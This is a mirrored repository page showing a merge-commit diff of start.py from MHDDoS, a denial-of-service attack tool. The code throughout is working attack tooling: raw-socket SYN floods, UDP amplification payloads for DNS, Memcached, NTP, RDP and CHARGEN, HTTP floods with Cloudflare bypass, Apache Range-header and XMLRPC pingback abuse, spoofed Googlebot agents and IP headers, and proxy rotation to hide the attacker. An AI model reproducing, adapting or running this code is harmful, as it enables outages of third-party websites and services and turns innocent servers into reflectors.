Gh0st
/
MHDDoS
mirror of https://github.com/MatrixTM/MHDDoS.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Merge branch 'main' into patch-9

This commit is contained in:
MH_ProDev 2022-03-05 03:36:44 +03:30 committed by GitHub
parent a97f1d8404 56be973895
commit e2fdb1377d
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 324 additions and 239 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

409
start.py
View File

@ -5,31 +5,37 @@ from concurrent.futures import ThreadPoolExecutor, as_completed
from contextlib import suppress from contextlib import suppress
from itertools import cycle from itertools import cycle
from json import load from json import load
from logging import getLogger, shutdown, basicConfig from logging import basicConfig, getLogger, shutdown
from math import trunc, log2 from math import log2, trunc
from multiprocessing import RawValue from multiprocessing import RawValue
from os import urandom as randbytes from os import urandom as randbytes
from pathlib import Path from pathlib import Path
from random import choice as randchoice
from random import randint
from socket import (AF_INET, IP_HDRINCL, IPPROTO_IP, IPPROTO_TCP, SOCK_DGRAM,
SOCK_RAW, SOCK_STREAM, TCP_NODELAY, gethostbyname,
gethostname, socket)
from ssl import CERT_NONE, SSLContext, create_default_context
from sys import argv
from sys import exit as _exit
from threading import Event, Lock, Thread
from urllib import parse from urllib import parse
from random import randint, choice as randchoice
from socket import (IP_HDRINCL, IPPROTO_IP, IPPROTO_TCP, TCP_NODELAY, SOCK_STREAM, AF_INET, socket,
SOCK_DGRAM, SOCK_RAW, gethostname, gethostbyname)
from ssl import SSLContext, create_default_context, CERT_NONE
from sys import argv, exit as _exit
from threading import Thread, Event, Lock
from time import sleep, time from time import sleep, time
from typing import Set, List, Any, Tuple from typing import Any, List, Set, Tuple
from PyRoxy import Proxy, Tools as ProxyTools, ProxyUtiles, ProxyType, ProxyChecker
import dns.resolver
from certifi import where from certifi import where
from cfscrape import create_scraper from cfscrape import create_scraper
from icmplib import ping from icmplib import ping
from impacket.ImpactPacket import IP, TCP, UDP, Data from impacket.ImpactPacket import IP, TCP, UDP, Data
from psutil import process_iter, net_io_counters, virtual_memory, cpu_percent from psutil import cpu_percent, net_io_counters, process_iter, virtual_memory
from requests import get, Session, exceptions, Response from PyRoxy import Proxy, ProxyChecker, ProxyType, ProxyUtiles
from PyRoxy import Tools as ProxyTools
from requests import Response, Session, exceptions, get
from yarl import URL from yarl import URL
import dns.resolver
basicConfig(format='[%(asctime)s - %(levelname)s] %(message)s', datefmt="%H:%M:%S") basicConfig(format='[%(asctime)s - %(levelname)s] %(message)s',
datefmt="%H:%M:%S")
logger = getLogger("MHDDoS") logger = getLogger("MHDDoS")
logger.setLevel("INFO") logger.setLevel("INFO")
ctx: SSLContext = create_default_context(cafile=where()) ctx: SSLContext = create_default_context(cafile=where())
@ -49,25 +55,31 @@ def exit(*message):
class Methods: class Methods:
LAYER7_METHODS: Set[str] = {"CFB", "BYPASS", "GET", "POST", "OVH", "STRESS", LAYER7_METHODS: Set[str] = {
"DYN", "SLOW", "HEAD", "NULL", "COOKIE", "PPS", "CFB", "BYPASS", "GET", "POST", "OVH", "STRESS", "DYN", "SLOW", "HEAD",
"EVEN", "GSB", "DGB", "AVB", "CFBUAM", "APACHE", "NULL", "COOKIE", "PPS", "EVEN", "GSB", "DGB", "AVB", "CFBUAM",
"XMLRPC", "BOT"} "APACHE", "XMLRPC", "BOT"
}
LAYER4_METHODS: Set[str] = {"TCP", "UDP", "SYN", "VSE", "MINECRAFT", "MEM", LAYER4_METHODS: Set[str] = {
"NTP", "DNS", "ARD", "CHAR", "RDP"} "TCP", "UDP", "SYN", "VSE", "MINECRAFT", "MEM", "NTP", "DNS", "ARD",
"CHAR", "RDP"
}
ALL_METHODS: Set[str] = {*LAYER4_METHODS, *LAYER7_METHODS} ALL_METHODS: Set[str] = {*LAYER4_METHODS, *LAYER7_METHODS}
google_agents = ["Mozila/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", google_agents = [
"Mozila/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
"Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, " "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, "
"like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; " "like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; "
"+http://www.google.com/bot.html)) " "+http://www.google.com/bot.html)) "
"Googlebot/2.1 (+http://www.google.com/bot.html)", "Googlebot/2.1 (+http://www.google.com/bot.html)",
"Googlebot/2.1 (+http://www.googlebot.com/bot.html)"] "Googlebot/2.1 (+http://www.googlebot.com/bot.html)"
]
class Counter(object): class Counter(object):
def __init__(self, value=0): def __init__(self, value=0):
self._value = RawValue('i', value) self._value = RawValue('i', value)
self._lock = Lock() self._lock = Lock()
@ -89,10 +101,14 @@ class Counter(object):
requests_sent = Counter() requests_sent = Counter()
bytes_sent = Counter() bytes_sent = Counter()
class Tools: class Tools:
@staticmethod @staticmethod
def humanbytes(i: int, binary: bool = False, precision: int = 2): def humanbytes(i: int, binary: bool = False, precision: int = 2):
MULTIPLES = ["B", "k{}B", "M{}B", "G{}B", "T{}B", "P{}B", "E{}B", "Z{}B", "Y{}B"] MULTIPLES = [
"B", "k{}B", "M{}B", "G{}B", "T{}B", "P{}B", "E{}B", "Z{}B", "Y{}B"
]
if i > 0: if i > 0:
base = 1024 if binary else 1000 base = 1024 if binary else 1000
multiple = trunc(log2(i) / log2(base)) multiple = trunc(log2(i) / log2(base))
@ -106,7 +122,8 @@ class Tools:
def humanformat(num: int, precision: int = 2): def humanformat(num: int, precision: int = 2):
suffixes = ['', 'k', 'm', 'g', 't', 'p'] suffixes = ['', 'k', 'm', 'g', 't', 'p']
if num > 999: if num > 999:
obje = sum([abs(num / 1000.0 ** x) >= 1 for x in range(1, len(suffixes))]) obje = sum(
[abs(num / 1000.0**x) >= 1 for x in range(1, len(suffixes))])
return f'{num / 1000.0 ** obje:.{precision}f}{suffixes[obje]}' return f'{num / 1000.0 ** obje:.{precision}f}{suffixes[obje]}'
else: else:
return num return num
@ -115,7 +132,8 @@ class Tools:
def sizeOfRequest(res: Response) -> int: def sizeOfRequest(res: Response) -> int:
size: int = len(res.request.method) size: int = len(res.request.method)
size += len(res.request.url) size += len(res.request.url)
size += len('\r\n'.join(f'{key}: {value}' for key, value in res.request.headers.items())) size += len('\r\n'.join(f'{key}: {value}'
for key, value in res.request.headers.items()))
return size return size
@ -128,7 +146,8 @@ class Layer4(Thread):
_amp_payloads = cycle _amp_payloads = cycle
_proxies: List[Proxy] = None _proxies: List[Proxy] = None
def __init__(self, target: Tuple[str, int], def __init__(self,
target: Tuple[str, int],
ref: List[str] = None, ref: List[str] = None,
method: str = "TCP", method: str = "TCP",
synevent: Event = None, synevent: Event = None,
@ -151,9 +170,13 @@ class Layer4(Thread):
while self._synevent.is_set(): while self._synevent.is_set():
self.SENT_FLOOD() self.SENT_FLOOD()
def get_effective_socket(self, conn_type = AF_INET, sock_type = SOCK_STREAM, proto_type = IPPROTO_TCP): def get_effective_socket(self,
conn_type=AF_INET,
sock_type=SOCK_STREAM,
proto_type=IPPROTO_TCP):
if self._proxies: if self._proxies:
return randchoice(self._proxies).open_socket(conn_type, sock_type, proto_type) return randchoice(self._proxies).open_socket(
conn_type, sock_type, proto_type)
return socket(conn_type, sock_type, proto_type) return socket(conn_type, sock_type, proto_type)
def select(self, name): def select(self, name):
@ -163,11 +186,14 @@ class Layer4(Thread):
if name == "VSE": self.SENT_FLOOD = self.VSE if name == "VSE": self.SENT_FLOOD = self.VSE
if name == "MINECRAFT": self.SENT_FLOOD = self.MINECRAFT if name == "MINECRAFT": self.SENT_FLOOD = self.MINECRAFT
if name == "RDP": if name == "RDP":
self._amp_payload = (b'\x00\x00\x00\x00\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x00', 3389) self._amp_payload = (
b'\x00\x00\x00\x00\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x00',
3389)
self.SENT_FLOOD = self.AMP self.SENT_FLOOD = self.AMP
self._amp_payloads = cycle(self._generate_amp()) self._amp_payloads = cycle(self._generate_amp())
if name == "MEM": if name == "MEM":
self._amp_payload = (b'\x00\x01\x00\x00\x00\x01\x00\x00gets p h e\n', 11211) self._amp_payload = (
b'\x00\x01\x00\x00\x00\x01\x00\x00gets p h e\n', 11211)
self.SENT_FLOOD = self.AMP self.SENT_FLOOD = self.AMP
self._amp_payloads = cycle(self._generate_amp()) self._amp_payloads = cycle(self._generate_amp())
if name == "CHAR": if name == "CHAR":
@ -183,7 +209,8 @@ class Layer4(Thread):
self.SENT_FLOOD = self.AMP self.SENT_FLOOD = self.AMP
self._amp_payloads = cycle(self._generate_amp()) self._amp_payloads = cycle(self._generate_amp())
if name == "DNS": if name == "DNS":
self._amp_payload = (b'\x45\x67\x01\x00\x00\x01\x00\x00\x00\x00\x00\x01\x02\x73\x6c\x00\x00\xff\x00\x01\x00' self._amp_payload = (
b'\x45\x67\x01\x00\x00\x01\x00\x00\x00\x00\x00\x01\x02\x73\x6c\x00\x00\xff\x00\x01\x00'
b'\x00\x29\xff\xff\x00\x00\x00\x00\x00\x00', 53) b'\x00\x29\xff\xff\x00\x00\x00\x00\x00\x00', 53)
self.SENT_FLOOD = self.AMP self.SENT_FLOOD = self.AMP
self._amp_payloads = cycle(self._generate_amp()) self._amp_payloads = cycle(self._generate_amp())
@ -234,7 +261,8 @@ class Layer4(Thread):
global bytes_sent, requests_sent global bytes_sent, requests_sent
payload = self._genrate_syn() payload = self._genrate_syn()
try: try:
with self.get_effective_socket(AF_INET, SOCK_RAW, IPPROTO_TCP) as s: with self.get_effective_socket(AF_INET, SOCK_RAW,
IPPROTO_TCP) as s:
s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1) s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
while s.sendto(payload, self._target): while s.sendto(payload, self._target):
requests_sent += 1 requests_sent += 1
@ -247,7 +275,8 @@ class Layer4(Thread):
global bytes_sent, requests_sent global bytes_sent, requests_sent
payload = next(self._amp_payloads) payload = next(self._amp_payloads)
try: try:
with self.get_effective_socket(AF_INET, SOCK_RAW, IPPROTO_UDP) as s: with self.get_effective_socket(AF_INET, SOCK_RAW,
IPPROTO_UDP) as s:
s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1) s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
while s.sendto(*payload): while s.sendto(*payload):
requests_sent += 1 requests_sent += 1
@ -258,7 +287,8 @@ class Layer4(Thread):
def VSE(self) -> None: def VSE(self) -> None:
global bytes_sent, requests_sent global bytes_sent, requests_sent
payload = (b'\xff\xff\xff\xff\x54\x53\x6f\x75\x72\x63\x65\x20\x45\x6e\x67\x69\x6e\x65' payload = (
b'\xff\xff\xff\xff\x54\x53\x6f\x75\x72\x63\x65\x20\x45\x6e\x67\x69\x6e\x65'
b'\x20\x51\x75\x65\x72\x79\x00') b'\x20\x51\x75\x65\x72\x79\x00')
try: try:
with socket(AF_INET, SOCK_DGRAM) as s: with socket(AF_INET, SOCK_DGRAM) as s:
@ -311,8 +341,13 @@ class HttpFlood(Thread):
_synevent: Any _synevent: Any
SENT_FLOOD: Any SENT_FLOOD: Any
def __init__(self, target: URL, host: str, method: str = "GET", rpc: int = 1, def __init__(self,
synevent: Event = None, useragents: Set[str] = None, target: URL,
host: str,
method: str = "GET",
rpc: int = 1,
synevent: Event = None,
useragents: Set[str] = None,
referers: Set[str] = None, referers: Set[str] = None,
proxies: Set[Proxy] = None) -> None: proxies: Set[Proxy] = None) -> None:
super().__init__(daemon=True) super().__init__(daemon=True)
@ -328,11 +363,13 @@ class HttpFlood(Thread):
self._raw_target = (self._host, (self._target.port or 80)) self._raw_target = (self._host, (self._target.port or 80))
if not referers: if not referers:
referers: List[str] = ["https://www.facebook.com/l.php?u=https://www.facebook.com/l.php?u=", referers: List[str] = [
"https://www.facebook.com/l.php?u=https://www.facebook.com/l.php?u=",
",https://www.facebook.com/sharer/sharer.php?u=https://www.facebook.com/sharer" ",https://www.facebook.com/sharer/sharer.php?u=https://www.facebook.com/sharer"
"/sharer.php?u=", "/sharer.php?u=",
",https://drive.google.com/viewerng/viewer?url=", ",https://drive.google.com/viewerng/viewer?url=",
",https://www.google.com/translate?u="] ",https://www.google.com/translate?u="
]
self._referers = list(referers) self._referers = list(referers)
if proxies: if proxies:
self._proxies = list(proxies) self._proxies = list(proxies)
@ -345,10 +382,12 @@ class HttpFlood(Thread):
'Safari/537.36', 'Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 ' 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 '
'Safari/537.36', 'Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0'] 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0'
]
self._useragents = list(useragents) self._useragents = list(useragents)
self._req_type = self.getMethodType(method) self._req_type = self.getMethodType(method)
self._defaultpayload = "%s %s HTTP/1.1\r\n" % (self._req_type, target.raw_path_qs) self._defaultpayload = "%s %s HTTP/1.1\r\n" % (self._req_type,
target.raw_path_qs)
self._payload = (self._defaultpayload + self._payload = (self._defaultpayload +
'Accept-Encoding: gzip, deflate, br\r\n' 'Accept-Encoding: gzip, deflate, br\r\n'
'Accept-Language: en-US,en;q=0.9\r\n' 'Accept-Language: en-US,en;q=0.9\r\n'
@ -399,8 +438,11 @@ class HttpFlood(Thread):
sock.connect(self._raw_target) sock.connect(self._raw_target)
if self._target.scheme.lower() == "https": if self._target.scheme.lower() == "https":
sock = ctx.wrap_socket(sock, server_hostname=self._target.host, server_side=False, sock = ctx.wrap_socket(sock,
do_handshake_on_connect=True, suppress_ragged_eofs=True) server_hostname=self._target.host,
server_side=False,
do_handshake_on_connect=True,
suppress_ragged_eofs=True)
return sock return sock
@property @property
@ -422,11 +464,11 @@ class HttpFlood(Thread):
def POST(self) -> None: def POST(self) -> None:
global bytes_sent, requests_sent global bytes_sent, requests_sent
payload: bytes = self.generate_payload(("Content-Length: 44\r\n" payload: bytes = self.generate_payload(
("Content-Length: 44\r\n"
"X-Requested-With: XMLHttpRequest\r\n" "X-Requested-With: XMLHttpRequest\r\n"
"Content-Type: application/json\r\n\r\n" "Content-Type: application/json\r\n\r\n"
'{"data": %s}' '{"data": %s}') % ProxyTools.Random.rand_str(32))[:-2]
) % ProxyTools.Random.rand_str(32))[:-2]
try: try:
with self.open_connection() as s: with self.open_connection() as s:
for _ in range(self._rpc): for _ in range(self._rpc):
@ -438,11 +480,11 @@ class HttpFlood(Thread):
def STRESS(self) -> None: def STRESS(self) -> None:
global bytes_sent, requests_sent global bytes_sent, requests_sent
payload: bytes = self.generate_payload((f"Content-Length: 524\r\n" payload: bytes = self.generate_payload(
(f"Content-Length: 524\r\n"
"X-Requested-With: XMLHttpRequest\r\n" "X-Requested-With: XMLHttpRequest\r\n"
"Content-Type: application/json\r\n\r\n" "Content-Type: application/json\r\n\r\n"
'{"data": %s}' '{"data": %s}') % ProxyTools.Random.rand_str(512))[:-2]
) % ProxyTools.Random.rand_str(512))[:-2]
try: try:
with self.open_connection() as s: with self.open_connection() as s:
for _ in range(self._rpc): for _ in range(self._rpc):
@ -454,11 +496,12 @@ class HttpFlood(Thread):
def COOKIES(self) -> None: def COOKIES(self) -> None:
global bytes_sent, requests_sent global bytes_sent, requests_sent
payload: bytes = self.generate_payload("Cookie: _ga=GA%s;" payload: bytes = self.generate_payload(
"Cookie: _ga=GA%s;"
" _gat=1;" " _gat=1;"
" __cfduid=dc232334gwdsd23434542342342342475611928;" " __cfduid=dc232334gwdsd23434542342342342475611928;"
" %s=%s\r\n" % (randint(1000, 99999), " %s=%s\r\n" %
ProxyTools.Random.rand_str(6), (randint(1000, 99999), ProxyTools.Random.rand_str(6),
ProxyTools.Random.rand_str(32))) ProxyTools.Random.rand_str(32)))
try: try:
with self.open_connection() as s: with self.open_connection() as s:
@ -471,7 +514,9 @@ class HttpFlood(Thread):
def APACHE(self) -> None: def APACHE(self) -> None:
global bytes_sent, requests_sent global bytes_sent, requests_sent
payload: bytes = self.generate_payload("Range: bytes=0-,%s" % ",".join("5-%d" % i for i in range(1, 1024))) payload: bytes = self.generate_payload(
"Range: bytes=0-,%s" % ",".join("5-%d" % i
for i in range(1, 1024)))
try: try:
with self.open_connection() as s: with self.open_connection() as s:
for _ in range(self._rpc): for _ in range(self._rpc):
@ -483,15 +528,16 @@ class HttpFlood(Thread):
def XMLRPC(self) -> None: def XMLRPC(self) -> None:
global bytes_sent, requests_sent global bytes_sent, requests_sent
payload: bytes = self.generate_payload(("Content-Length: 345\r\n" payload: bytes = self.generate_payload(
("Content-Length: 345\r\n"
"X-Requested-With: XMLHttpRequest\r\n" "X-Requested-With: XMLHttpRequest\r\n"
"Content-Type: application/xml\r\n\r\n" "Content-Type: application/xml\r\n\r\n"
"<?xml version='1.0' encoding='iso-8859-1'?>" "<?xml version='1.0' encoding='iso-8859-1'?>"
"<methodCall><methodName>pingback.ping</methodName>" "<methodCall><methodName>pingback.ping</methodName>"
"<params><param><value><string>%s</string></value>" "<params><param><value><string>%s</string></value>"
"</param><param><value><string>%s</string>" "</param><param><value><string>%s</string>"
"</value></param></params></methodCall>" "</value></param></params></methodCall>") %
) % (ProxyTools.Random.rand_str(64), (ProxyTools.Random.rand_str(64),
ProxyTools.Random.rand_str(64)))[:-2] ProxyTools.Random.rand_str(64)))[:-2]
try: try:
with self.open_connection() as s: with self.open_connection() as s:
@ -534,8 +580,7 @@ class HttpFlood(Thread):
"Connection: Keep-Alive\r\n" "Connection: Keep-Alive\r\n"
"Accept: text/plain,text/html,*/*\r\n" "Accept: text/plain,text/html,*/*\r\n"
"User-Agent: %s\r\n" % randchoice(google_agents) + "User-Agent: %s\r\n" % randchoice(google_agents) +
"Accept-Encoding: gzip,deflate,br\r\n\r\n" "Accept-Encoding: gzip,deflate,br\r\n\r\n"), str.encode(
), str.encode(
"GET /sitemap.xml HTTP/1.1\r\n" "GET /sitemap.xml HTTP/1.1\r\n"
"Host: %s\r\n" % self._target.raw_authority + "Host: %s\r\n" % self._target.raw_authority +
"Connection: Keep-Alive\r\n" "Connection: Keep-Alive\r\n"
@ -543,9 +588,9 @@ class HttpFlood(Thread):
"From: googlebot(at)googlebot.com\r\n" "From: googlebot(at)googlebot.com\r\n"
"User-Agent: %s\r\n" % randchoice(google_agents) + "User-Agent: %s\r\n" % randchoice(google_agents) +
"Accept-Encoding: gzip,deflate,br\r\n" "Accept-Encoding: gzip,deflate,br\r\n"
"If-None-Match: %s-%s\r\n" % (ProxyTools.Random.rand_str(9), ProxyTools.Random.rand_str(4)) + "If-None-Match: %s-%s\r\n" % (ProxyTools.Random.rand_str(9),
"If-Modified-Since: Sun, 26 Set 2099 06:00:00 GMT\r\n\r\n" ProxyTools.Random.rand_str(4)) +
) "If-Modified-Since: Sun, 26 Set 2099 06:00:00 GMT\r\n\r\n")
try: try:
with self.open_connection() as s: with self.open_connection() as s:
s.send(p1) s.send(p1)
@ -592,7 +637,8 @@ class HttpFlood(Thread):
with create_scraper() as s: with create_scraper() as s:
for _ in range(self._rpc): for _ in range(self._rpc):
if pro: if pro:
with s.get(self._target.human_repr(), proxies=pro.asRequest()) as res: with s.get(self._target.human_repr(),
proxies=pro.asRequest()) as res:
requests_sent += 1 requests_sent += 1
bytes_sent += Tools.sizeOfRequest(res) bytes_sent += Tools.sizeOfRequest(res)
continue continue
@ -637,7 +683,8 @@ class HttpFlood(Thread):
sleep(min(self._rpc, 5) / 100) sleep(min(self._rpc, 5) / 100)
if self._proxies: if self._proxies:
pro = randchoice(self._proxies) pro = randchoice(self._proxies)
with s.get(self._target.human_repr(), proxies=pro.asRequest()) as res: with s.get(self._target.human_repr(),
proxies=pro.asRequest()) as res:
requests_sent += 1 requests_sent += 1
bytes_sent += Tools.sizeOfRequest(res) bytes_sent += Tools.sizeOfRequest(res)
continue continue
@ -651,7 +698,8 @@ class HttpFlood(Thread):
def DYN(self): def DYN(self):
global bytes_sent, requests_sent global bytes_sent, requests_sent
payload: str | bytes = self._payload payload: str | bytes = self._payload
payload += "Host: %s.%s\r\n" % (ProxyTools.Random.rand_str(6), self._target.authority) payload += "Host: %s.%s\r\n" % (ProxyTools.Random.rand_str(6),
self._target.authority)
payload += self.randHeadercontent payload += self.randHeadercontent
payload += self.SpoofIP payload += self.SpoofIP
payload = str.encode(f"{payload}\r\n") payload = str.encode(f"{payload}\r\n")
@ -673,7 +721,8 @@ class HttpFlood(Thread):
with Session() as s: with Session() as s:
for _ in range(self._rpc): for _ in range(self._rpc):
if pro: if pro:
with s.get(self._target.human_repr(), proxies=pro.asRequest()) as res: with s.get(self._target.human_repr(),
proxies=pro.asRequest()) as res:
requests_sent += 1 requests_sent += 1
bytes_sent += Tools.sizeOfRequest(res) bytes_sent += Tools.sizeOfRequest(res)
continue continue
@ -686,9 +735,10 @@ class HttpFlood(Thread):
def GSB(self): def GSB(self):
global bytes_sent, requests_sent global bytes_sent, requests_sent
payload = "%s %s?qs=%s HTTP/1.1\r\n" % (self._req_type, self._target.raw_path_qs, ProxyTools.Random.rand_str(6)) payload = "%s %s?qs=%s HTTP/1.1\r\n" % (self._req_type,
payload = (payload + self._target.raw_path_qs,
'Accept-Encoding: gzip, deflate, br\r\n' ProxyTools.Random.rand_str(6))
payload = (payload + 'Accept-Encoding: gzip, deflate, br\r\n'
'Accept-Language: en-US,en;q=0.9\r\n' 'Accept-Language: en-US,en;q=0.9\r\n'
'Cache-Control: max-age=0\r\n' 'Cache-Control: max-age=0\r\n'
'Connection: Keep-Alive\r\n' 'Connection: Keep-Alive\r\n'
@ -766,22 +816,27 @@ class HttpFlood(Thread):
if name == "COOKIE": self.SENT_FLOOD = self.COOKIES if name == "COOKIE": self.SENT_FLOOD = self.COOKIES
if name == "PPS": if name == "PPS":
self.SENT_FLOOD = self.PPS self.SENT_FLOOD = self.PPS
self._defaultpayload = (self._defaultpayload + "Host: %s\r\n\r\n" % self._target.authority).encode() self._defaultpayload = (
self._defaultpayload +
"Host: %s\r\n\r\n" % self._target.authority).encode()
if name == "EVEN": self.SENT_FLOOD = self.EVEN if name == "EVEN": self.SENT_FLOOD = self.EVEN
class ProxyManager: class ProxyManager:
@staticmethod @staticmethod
def DownloadFromConfig(cf, Proxy_type: int) -> Set[Proxy]: def DownloadFromConfig(cf, Proxy_type: int) -> Set[Proxy]:
providrs = [provider for provider in cf["proxy-providers"] if providrs = [
provider["type"] == Proxy_type or Proxy_type == 0] provider for provider in cf["proxy-providers"]
if provider["type"] == Proxy_type or Proxy_type == 0
]
logger.info("Downloading Proxies form %d Providers" % len(providrs)) logger.info("Downloading Proxies form %d Providers" % len(providrs))
proxes:Set[Proxy] = set() proxes: Set[Proxy] = set()
with ThreadPoolExecutor(len(providrs)) as executor: with ThreadPoolExecutor(len(providrs)) as executor:
future_to_download = { future_to_download = {
executor.submit(ProxyManager.download, executor.submit(
provider, ProxyManager.download, provider,
ProxyType.stringToProxyType(str(provider["type"]))) ProxyType.stringToProxyType(str(provider["type"])))
for provider in providrs for provider in providrs
} }
@ -792,17 +847,20 @@ class ProxyManager:
@staticmethod @staticmethod
def download(provider, proxy_type: ProxyType) -> Set[Proxy]: def download(provider, proxy_type: ProxyType) -> Set[Proxy]:
logger.debug("Downloading Proxies form (URL: %s, Type: %s, Timeout: %d)" % (provider["url"], logger.debug(
proxy_type.name, "Downloading Proxies form (URL: %s, Type: %s, Timeout: %d)" %
provider["timeout"])) (provider["url"], proxy_type.name, provider["timeout"]))
proxes:Set[Proxy] = set() proxes: Set[Proxy] = set()
with suppress(TimeoutError, exceptions.ConnectionError, exceptions.ReadTimeout): with suppress(TimeoutError, exceptions.ConnectionError,
exceptions.ReadTimeout):
data = get(provider["url"], timeout=provider["timeout"]).text data = get(provider["url"], timeout=provider["timeout"]).text
try: try:
for proxy in ProxyUtiles.parseAllIPPort(data.splitlines(), proxy_type): for proxy in ProxyUtiles.parseAllIPPort(
data.splitlines(), proxy_type):
proxes.add(proxy) proxes.add(proxy)
except Exception as e: except Exception as e:
logger.error('Download Proxy Error: %s' % (e.__str__() or e.__repr__())) logger.error('Download Proxy Error: %s' %
(e.__str__() or e.__repr__()))
return proxes return proxes
@ -860,7 +918,8 @@ class ToolsConsole:
t = [(last - now) for now, last in zip(od, ld)] t = [(last - now) for now, last in zip(od, ld)]
logger.info(("Bytes Sended %s\n" logger.info(
("Bytes Sended %s\n"
"Bytes Recived %s\n" "Bytes Recived %s\n"
"Packets Sended %s\n" "Packets Sended %s\n"
"Packets Recived %s\n" "Packets Recived %s\n"
@ -869,12 +928,10 @@ class ToolsConsole:
"DropIn %s\n" "DropIn %s\n"
"DropOut %s\n" "DropOut %s\n"
"Cpu Usage %s\n" "Cpu Usage %s\n"
"Memory %s\n") % (Tools.humanbytes(t[0]), "Memory %s\n") %
Tools.humanbytes(t[1]), (Tools.humanbytes(t[0]), Tools.humanbytes(t[1]),
Tools.humanformat(t[2]), Tools.humanformat(t[2]), Tools.humanformat(t[3]),
Tools.humanformat(t[3]), t[4], t[5], t[6], t[7], str(cpu_percent()) + "%",
t[4], t[5], t[6], t[7],
str(cpu_percent()) + "%",
str(virtual_memory().percent) + "%")) str(virtual_memory().percent) + "%"))
if cmd in ["CFIP", "DNS"]: if cmd in ["CFIP", "DNS"]:
print("Soon") print("Soon")
@ -901,8 +958,9 @@ class ToolsConsole:
with get(domain, timeout=20) as r: with get(domain, timeout=20) as r:
print(('status_code: %d\n' print(('status_code: %d\n'
'status: %s') % (r.status_code, 'status: %s') %
"ONLINE" if r.status_code <= 500 else "OFFLINE")) (r.status_code, "ONLINE"
if r.status_code <= 500 else "OFFLINE"))
return return
print("Error!") print("Error!")
@ -921,7 +979,8 @@ class ToolsConsole:
(domain.upper() == "LOGOUT") or \ (domain.upper() == "LOGOUT") or \
(domain.upper() == "CLOSE"): (domain.upper() == "CLOSE"):
exit(-1) exit(-1)
domain = domain.replace('https://', '').replace('http://', '') domain = domain.replace('https://',
'').replace('http://', '')
if "/" in domain: domain = domain.split("/")[0] if "/" in domain: domain = domain.split("/")[0]
print('please wait ...', end="\r") print('please wait ...', end="\r")
@ -935,12 +994,9 @@ class ToolsConsole:
"City: %s\n" "City: %s\n"
"Org: %s\n" "Org: %s\n"
"Isp: %s\n" "Isp: %s\n"
"Region: %s\n" "Region: %s\n") %
) % (info["country"], (info["country"], info["city"], info["org"],
info["city"], info["isp"], info["region"]))
info["org"],
info["isp"],
info["region"]))
if cmd == "TSSRV": if cmd == "TSSRV":
while True: while True:
@ -957,7 +1013,8 @@ class ToolsConsole:
(domain.upper() == "LOGOUT") or \ (domain.upper() == "LOGOUT") or \
(domain.upper() == "CLOSE"): (domain.upper() == "CLOSE"):
exit(-1) exit(-1)
domain = domain.replace('https://', '').replace('http://', '') domain = domain.replace('https://',
'').replace('http://', '')
if "/" in domain: domain = domain.split("/")[0] if "/" in domain: domain = domain.split("/")[0]
print('please wait ...', end="\r") print('please wait ...', end="\r")
@ -965,7 +1022,6 @@ class ToolsConsole:
logger.info(("TCP: %s\n") % (info['_tsdns._tcp.'])) logger.info(("TCP: %s\n") % (info['_tsdns._tcp.']))
logger.info(("UDP: %s\n") % (info['_ts3._udp.'])) logger.info(("UDP: %s\n") % (info['_ts3._udp.']))
if cmd == "PING": if cmd == "PING":
while True: while True:
domain = input(f'{cons}give-me-ipaddress# ') domain = input(f'{cons}give-me-ipaddress# ')
@ -981,7 +1037,8 @@ class ToolsConsole:
(domain.upper() == "CLOSE"): (domain.upper() == "CLOSE"):
exit(-1) exit(-1)
domain = domain.replace('https://', '').replace('http://', '') domain = domain.replace('https://',
'').replace('http://', '')
if "/" in domain: domain = domain.split("/")[0] if "/" in domain: domain = domain.split("/")[0]
print('please wait ...', end="\r") print('please wait ...', end="\r")
@ -989,10 +1046,8 @@ class ToolsConsole:
logger.info(('Address: %s\n' logger.info(('Address: %s\n'
'Ping: %d\n' 'Ping: %d\n'
'Aceepted Packets: %d/%d\n' 'Aceepted Packets: %d/%d\n'
'status: %s\n' 'status: %s\n') %
) % (r.address, (r.address, r.avg_rtt, r.packets_received,
r.avg_rtt,
r.packets_received,
r.packets_sent, r.packets_sent,
"ONLINE" if r.is_alive else "OFFLINE")) "ONLINE" if r.is_alive else "OFFLINE"))
@ -1005,7 +1060,8 @@ class ToolsConsole:
@staticmethod @staticmethod
def usage(): def usage():
print(('* Coded By MH_ProDev For Better Stresser\n' print((
'* Coded By MH_ProDev For Better Stresser\n'
'Note: If the Proxy list is empty, the attack will run without proxies\n' 'Note: If the Proxy list is empty, the attack will run without proxies\n'
' If the Proxy file doesn\'t exist, the script will download proxies and check them.\n' ' If the Proxy file doesn\'t exist, the script will download proxies and check them.\n'
' Proxy Type 0 = All in config.json\n' ' Proxy Type 0 = All in config.json\n'
@ -1026,27 +1082,17 @@ class ToolsConsole:
'\n' '\n'
'Example:\n' 'Example:\n'
' Layer7: python3 %s %s %s %s %s proxy.txt %s %s\n' ' Layer7: python3 %s %s %s %s %s proxy.txt %s %s\n'
' Layer4: python3 %s %s %s %s %s proxy.txt') % (argv[0], argv[0], ' Layer4: python3 %s %s %s %s %s proxy.txt') %
